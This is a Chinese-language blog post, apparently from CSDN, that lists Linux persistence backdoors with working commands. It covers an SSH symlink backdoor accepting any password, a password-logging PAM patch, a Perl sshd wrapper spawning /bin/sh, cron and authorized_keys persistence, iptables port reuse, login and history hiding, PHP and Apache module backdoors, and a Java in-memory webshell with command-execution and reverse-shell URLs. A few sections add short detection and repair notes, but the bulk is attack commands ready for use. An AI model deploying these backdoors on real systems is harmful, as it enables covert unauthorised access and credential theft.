Linux内核权限维持,linux权限维持

ssh软连接后门

SSH服务默认使用PAM进行身份验证

PAM是Linux系统中的一个独立API,它提供了各种验证模块以供其它程序调用,从而完成身份认证的功能

pam验证过程中,只要pam_rootok模块检测uid为0,即可成功认证登录,通过软连接文件名的方式(比如su),可以建立ssh后门

利用

靶机上执行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345

ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345

此时任意密码都能连接靶机的12345端口

root@kali:~# ssh root@192.168.80.147 -p 12345

检测

netstat -pantu 查看可疑端口

ls -al /tmp/su 查看软连接文件

修复

配置/etc/ssh/sshd_config

UsePAM no

PAM后门

原理

上面提到的sshd软链接后门利用PAM达到任意密码登录的目的。

还有一种利用方式是键盘记录,并给ssh设置新密码(老密码依然可用),原理主要是通过打补丁的方式潜入到正常的pam模块中。

https://github.com/litsand/shell/blob/master/pam.sh

0f5395a45d13?utm_campaign=haruki

image.png

安装完成后可使用新密码test123登录Linux,并且每次登录的密码信息会保存在/bin/.sshlog文件下

0f5395a45d13?utm_campaign=haruki

image.png

检测

检查pam_unix.so的修改时间

stat /lib/security/pam_unix.so #32位

stat /lib64/security/pam_unix.so #64位

SSH wrapper后门

将原来的启动脚本/usr/sbin/sshd移动到/usr/bin/sshd,并新建启动脚本/usr/sbin/sshd。原理没太看明白,反正命令敲完socat就连上了...

目标机上配置

cd /usr/sbin/

mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd

echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd

echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

chmod u+x sshd

/etc/init.d/sshd restart

使用socat连接

socat STDIO TCP4:target_ip:22,sourceport=13377

0f5395a45d13?utm_campaign=haruki

检测

查看sshd文件

cat /usr/sbin/sshd

修复

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd /usr/sbin/sshd;

ssh免密登录

Kali上执行

生成公私钥密码对

ssh-keygen -t rsa

将id_rsa.pub复制到centos

centos上执行

写入公钥

mkdir /root/.ssh

touch /root/.ssh/authorized_keys

cat id_rsa.pub >> /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

chmod 700 /root/.ssh/

配置允许秘钥登录

vim /etc/ssh/sshd_config

RSAAuthentication yes

PubkeyAuthentication yes

关闭selinux(如果需要)

[root@localhost ~]# getenforce

Enforcing

[root@localhost ~]# setenforce 0

[root@localhost ~]# getenforce

Permissive

此时kali可免密登录centos

root@kali:~# ssh root@192.168.80.147

ssh -i /root/.ssh/id_rsa root@192.168.1.2

0f5395a45d13?utm_campaign=haruki

image.png

crontab定时任务

可利用cron的几个地方

/etc/crontab 只允许root用户修改

/var/spool/cron/ 存放着每个用户的crontab任务,每个任务以创建者的名字命名

/etc/cron.d/ 将文件写到该目录下,格式和/etc/crontab相同

把脚本放在/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/目录中,让它每小时/天/星期/月执行一次

端口复用

使用iptables判断来路ip来实现端口复用

iptables -t nat -I PREROUTING 1 -p tcp -s 攻击者的IP --dport 80 -j DNAT --to-destination 靶机的IP:22

此时,攻击者的IP连接靶机的80端口,可登录靶机的SSH服务;其它机器可正常访问靶机的HTTP服务;攻击者的IP没法访问靶机的HTTP服务。

隐藏技术

隐身登录

不会被last who w等命令检测到

ssh -p 22 -T root@192.168.80.150 /bin/bash -i

隐藏历史命令

set +o history 禁用历史命令功能

set -o history 重新开启历史命令

history -d 100 删除某一行命令

扩展后门

PHP模块

安装php环境

apt-get install php7.0 -y

apt-get install libapache2-mod-php7.0 -y

apt-get install php7.0-gd -y

获取扩展目录

php -i |grep extension_dir

下载对应版本的后门文件,并移动到扩展目录中

https://github.com/phith0n/arbitrary-php-extension

修改php.ini开启扩展

extension=arbitraryphp.so

配置完成后需要重启Apache

/etc/init.d/apache2 restart

如下图,成功建立后门

0f5395a45d13?utm_campaign=haruki

image.png

也可以用蚁剑进行连接

0f5395a45d13?utm_campaign=haruki

image.png

Apache模块

直接使用自动化的工具

https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor

安装后门

apt install apache2-dev && apxs -i -a -c mod_backdoor.c && service apache2 restart

控制端使用方法

python exploit.py 192.168.80.201 80

0f5395a45d13?utm_campaign=haruki

image.png

无文件webshell

memShell

原理:通过进程注入来实现内存webshell,具体到Java环境利用的是Java的Instrumentation接口。

https://github.com/rebeyond/memShell

安装后门

unzip memShell.zip

cd memShell

java -jar inject.jar passwd

0f5395a45d13?utm_campaign=haruki

image.png

连接后门

#命令执行

http://192.168.3.131:8080/aaaa?pass_the_world=passwd&model=exec&cmd=ls

#反弹shell

http://192.168.3.131:8080/aaaa?pass_the_world=passwd&model=connectback&ip=x.x.x.x&port=81

#还有一些其它功能参考github...

0f5395a45d13?utm_campaign=haruki

image.png

测试发现重启tomcat后webshell依然有效,当然由于是内存马,所以重启服务器后就失效了。

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值